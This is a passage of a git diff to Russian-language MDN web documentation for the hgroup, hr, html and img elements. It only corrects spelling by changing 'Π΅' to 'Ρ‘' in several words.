-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ использования: </strong>Π­Ρ‚ΠΎΡ‚ элСмСнт Π±Ρ‹Π» ΡƒΠ΄Π°Π»Π΅Π½ ΠΈΠ· HTML5 (W3C) спСцификации , Π½ΠΎ Π΄ΠΎ сих ΠΏΠΎΡ€ остаСтся Π² спСцификации WHATWG. Он частично встроСн Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², хотя Π±Ρ‹ поэтому вряд Π»ΠΈ ΡƒΠΉΠ΄Π΅Ρ‚. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ схСматичСский Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π½ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, сСмантика Ρ‚Π΅Π³Π° <code>&lt;hgroup&gt;</code> Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ тСорСтичСски. БпСцификация HTML5 (W3C) Π΄Π°Π΅Ρ‚ совСт ΠΊΠ°ΠΊ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ <a href="http://www.w3.org/TR/html5/common-idioms.html#sub-head">ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ,Β Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ и слоганы</a>.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ использования: </strong>Π­Ρ‚ΠΎΡ‚ элСмСнт Π±Ρ‹Π» ΡƒΠ΄Π°Π»Ρ‘Π½ ΠΈΠ· HTML5 (W3C) спСцификации , Π½ΠΎ Π΄ΠΎ сих ΠΏΠΎΡ€ остаётся Π² спСцификации WHATWG. Он частично встроСн Π² Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ², хотя Π±Ρ‹ поэтому вряд Π»ΠΈ ΡƒΠΉΠ΄Ρ‘Ρ‚. ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ схСматичСский Π°Π»Π³ΠΎΡ€ΠΈΡ‚ΠΌ Π½Π΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½ Π½ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, сСмантика Ρ‚Π΅Π³Π° <code>&lt;hgroup&gt;</code> Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ тСорСтичСски. БпСцификация HTML5 (W3C) Π΄Π°Ρ‘Ρ‚ совСт ΠΊΠ°ΠΊ ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°Ρ‚ΡŒ <a href="http://www.w3.org/TR/html5/common-idioms.html#sub-head">ΠΏΠΎΠ΄Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ,Β Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½Ρ‹Π΅ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΈ и слоганы</a>.</p>
</div>
<p>HTML &lt;hgroup&gt; Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ (HTML Headings Group Element - Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π“Ρ€ΡƒΠΏΠΏΡ‹ Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² HTML) прСдставляСт Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Ρ€Π°Π·Π΄Π΅Π»Π°. Он опрСдСляСт ΠΎΠ΄ΠΈΠ½ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ участвуСт Π² схСмС Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ явно ΠΈΠ»ΠΈ нСявно Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎΒ Ρ€Π°Π·Π΄Π΅Π»Π°, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΎΠ½ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚.</p>
diff --git a/files/ru/web/html/element/hr/index.html b/files/ru/web/html/element/hr/index.html
index 054c0923f2..708ea55022 100644
--- a/files/ru/web/html/element/hr/index.html
+++ b/files/ru/web/html/element/hr/index.html
@@ -52,15 +52,15 @@ translation_of: Web/HTML/Element/hr
<dl>
<dt>{{htmlattrdef("align")}} {{deprecated_inline}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ выравнивания.По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ выставлСно ΠΊΠ°ΠΊ<strong> left</strong></dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ выравнивания.По ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ выставлСно ΠΊΠ°ΠΊ<strong> left</strong></dd>
<dt>{{htmlattrdef("color")}} {{Non-standard_inline}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Ρ†Π²Π΅Ρ‚ Π»ΠΈΠ½ΠΈΠΈ</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Ρ†Π²Π΅Ρ‚ Π»ΠΈΠ½ΠΈΠΈ</dd>
<dt>{{htmlattrdef("noshade")}} {{deprecated_inline}}</dt>
<dd>Sets the rule to have no shading.</dd>
<dt>{{htmlattrdef("size")}} {{deprecated_inline}}</dt>
<dd>УстанавливаСт высоту Π² px</dd>
<dt>{{htmlattrdef("width")}} {{deprecated_inline}}</dt>
- <dd>Π—Π°Π΄Π°Π΅Ρ‚ Π΄Π»ΠΈΠ½Ρƒ Π»ΠΈΠ½ΠΈΠΈ Π² px Π»ΠΈΠ±ΠΎ Π² %</dd>
+ <dd>Π—Π°Π΄Π°Ρ‘Ρ‚ Π΄Π»ΠΈΠ½Ρƒ Π»ΠΈΠ½ΠΈΠΈ Π² px Π»ΠΈΠ±ΠΎ Π² %</dd>
</dl>
<h2 id="Example">Example</h2>
diff --git a/files/ru/web/html/element/html/index.html b/files/ru/web/html/element/html/index.html
index 7b1b856947..2787e89b66 100644
--- a/files/ru/web/html/element/html/index.html
+++ b/files/ru/web/html/element/html/index.html
@@ -22,7 +22,7 @@ translation_of: Web/HTML/Element/html
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>Один элСмСнт {{HTMLElement("head")}}, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт ΠΎΠ΄ΠΈΠ½ элСмСнт {{HTMLElement("body")}}.</td>
</tr>
<tr>
@@ -31,11 +31,11 @@ translation_of: Web/HTML/Element/html
Π’ {{glossary("HTML5")}} Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½. Π’ старых вСрсиях HTML, Ссли сразу Π·Π° элСмСнтом <code>&lt;html&gt;</code> слСдуСт ΠΊΠΎΠΌΠΌΠ΅Π½Ρ‚Π°Ρ€ΠΈΠΉ (ΠΏΡ€ΠΈ Π½Π°Π»ΠΈΡ‡ΠΈΠΈ элСмСнта {{HTMLElement("body")}}), Ρ‚ΠΎ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΏΡ€ΠΎΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ нСльзя.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚. Π­Ρ‚ΠΎ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠΉ элСмСнт Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ»ΠΈ ARIA</th>
<td>ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‚.</td>
</tr>
<tr>
@@ -55,7 +55,7 @@ translation_of: Web/HTML/Element/html
<dt>{{htmlattrdef("version")}} {{obsolete_inline}}</dt>
<dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ Π²Π΅Ρ€ΡΠΈΡŽ HTML DTD (Document Type Definition, большС извСстноС ΠΊΠ°ΠΊ {{glossary("Doctype")}}), которая управляСт Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ. Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ Π½ΡƒΠΆΠ΅Π½, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ являСтся ΠΈΠ·Π±Ρ‹Ρ‚ΠΎΡ‡Π½Ρ‹ΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ Π΅ΡΡ‚ΡŒ информация, указываСмая Π² объявлСнии Ρ‚ΠΈΠΏΠ° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°.</dd>
<dt>{{htmlattrdef("xmlns")}}</dt>
- <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ {{glossary("Namespace", "пространство ΠΈΠΌΠ΅Π½")}} {{glossary("XHTML", "XHTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>"http://www.w3.org/1999/xhtml"</code>. Π­Ρ‚ΠΎ трСбуСтся ΠΏΡ€ΠΈ {{glossary("parse", "парсингС")}} Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{glossary("parser", "парсСра")}} {{glossary("XML")}} ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² <code>text/html</code>.</dd>
+ <dd>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅Ρ‚ {{glossary("Namespace", "пространство ΠΈΠΌΡ‘Π½")}} {{glossary("XHTML", "XHTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°")}}. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ <code>"http://www.w3.org/1999/xhtml"</code>. Π­Ρ‚ΠΎ трСбуСтся ΠΏΡ€ΠΈ {{glossary("parse", "парсингС")}} Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ {{glossary("parser", "парсСра")}} {{glossary("XML")}} ΠΈ Π½Π΅ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠ² <code>text/html</code>.</dd>
</dl>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/html/element/img/index.html b/files/ru/web/html/element/img/index.html
index 86e976ef18..a8434854db 100644
--- a/files/ru/web/html/element/img/index.html
+++ b/files/ru/web/html/element/img/index.html
@@ -23,7 +23,7 @@ translation_of: Web/HTML/Element/img
<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
-<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ простоС использованиС элСмСнта <code>&lt;img&gt;</code>. Атрибут <code>src</code> обязатСлСн ΠΈ содСрТит ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. Атрибут <code>alt</code> содСрТит тСкстовоС описаниС изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½ΠΎ нСвСроятно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для доступности β€” ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ это описаниС своим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, Ρ‚Π°ΠΊ ΠΎΠ½ΠΈ Π·Π½Π°ΡŽΡ‚ ΠΊΠ°ΠΊΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΎΠ½ΠΎ отобраТаСтся Π½Π° страницС, Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΏΠΎ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅.</p>
+<p>ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ простоС использованиС элСмСнта <code>&lt;img&gt;</code>. Атрибут <code>src</code> обязатСлСн ΠΈ содСрТит ΠΏΡƒΡ‚ΡŒ ΠΊ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Π²ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. Атрибут <code>alt</code> содСрТит тСкстовоС описаниС изобраТСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ, Π½ΠΎ нСвСроятно ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для доступности β€” ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ это описаниС своим ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ, Ρ‚Π°ΠΊ ΠΎΠ½ΠΈ Π·Π½Π°ΡŽΡ‚ ΠΊΠ°ΠΊΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ, ΠΈ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΎΠ½ΠΎ отобраТаСтся Π½Π° страницС, Ссли ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½ΠΎ ΠΏΠΎ ΠΊΠ°ΠΊΠΎΠΉ-Π»ΠΈΠ±ΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅.</p>
<p>Π•ΡΡ‚ΡŒ ΠΌΠ½ΠΎΠ³ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΡƒΠΊΠ°Π·Π°Π½Ρ‹ для достиТСния Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -40,7 +40,7 @@ translation_of: Web/HTML/Element/img
<td><a href="/ru/docs/Web/Guide/HTML/Content_categories#ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠŸΠΎΡ‚ΠΎΠΊΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Phrasing_content">Ρ„Ρ€Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#ВстроСнный_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>, <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π―Π²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">явный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚</a>. Если элСмСнт ΠΈΠΌΠ΅Π΅Ρ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>usemap</code>, ΠΎΠ½ Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠΈΡ‚ ΠΊ ΠΊΠ°Ρ‚Π΅Π³ΠΎΡ€ΠΈΠΈ <a href="/ru/docs/Web/Guide/HTML/Content_categories#Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ_ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚">ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚Π°</a>.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>НикакоС, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ это {{Glossary("empty element", "пустой элСмСнт")}}.</td>
</tr>
<tr>
@@ -48,7 +48,7 @@ translation_of: Web/HTML/Element/img
<td>Π”ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ Ρ‚Π΅Π³ ΠΈ Π½Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Ρ€Π°Π·Ρ€Π΅ΡˆΠ°Π΅Ρ‚ встроСнный ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ Π² качСствС содСрТимого.</td>
</tr>
<tr>
@@ -100,7 +100,7 @@ translation_of: Web/HTML/Element/img
<dl>
<dt>{{htmlattrdef("alt")}}</dt>
<dd>
- <p>Π­Ρ‚ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ задаСтся Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ тСкстовоС описаниС изобраТСния.</p>
+ <p>Π­Ρ‚ΠΈΠΌ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ΠΎΠΌ задаётся Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ тСкстовоС описаниС изобраТСния.</p>
<div class="note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°:</strong> Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π½Π΅ всСгда ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ссылаСтся элСмСнт. Π­Ρ‚ΠΎ относится ΠΊ нСграфичСским Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ (Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Ρ‚Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ людьми с Π½Π°Ρ€ΡƒΡˆΠ΅Π½ΠΈΡΠΌΠΈ зрСния), Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Ρ€Π΅ΡˆΠ°Π΅Ρ‚ Π½Π΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒ изобраТСния, ΠΈΠ»ΠΈ Ссли Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅Π²Π΅Ρ€Π½Ρ‹ΠΉ ΠΈΠ»ΠΈ <a href="#Supported_image_formats">Π½Π΅ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹ΠΉ Ρ‚ΠΈΠΏ</a>. Π’ этих случаях Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ тСкстом записанным Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>alt</code> элСмСнта. По этим ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π°ΠΌ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎ возмоТности ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠ΅ описаниС Π² Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π΅ <code>alt</code>.</p>
@@ -112,7 +112,7 @@ translation_of: Web/HTML/Element/img
</dd>
<dt>{{htmlattrdef("crossorigin")}}</dt>
<dd>
- <p>Π­Ρ‚ΠΎΡ‚ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚, слСдуСт Π»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{glossary("CORS")}} ΠΏΡ€ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ изобраТСния ΠΈΠ»ΠΈ Π½Π΅Ρ‚. <a href="/en-US/docs/Web/HTML/CORS_enabled_image">Π˜Π·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡ с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ CORS</a> ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹ Π² элСмСнтС {{HTMLElement("canvas")}} Π½Π΅ Π±ΡƒΠ΄ΡƒΡ‡ΠΈ "<a href="/en-US/docs/Web/HTML/CORS_enabled_image#Security_and_tainted_canvases">испорчСнными</a>". ДопустимыС значСния:</p>
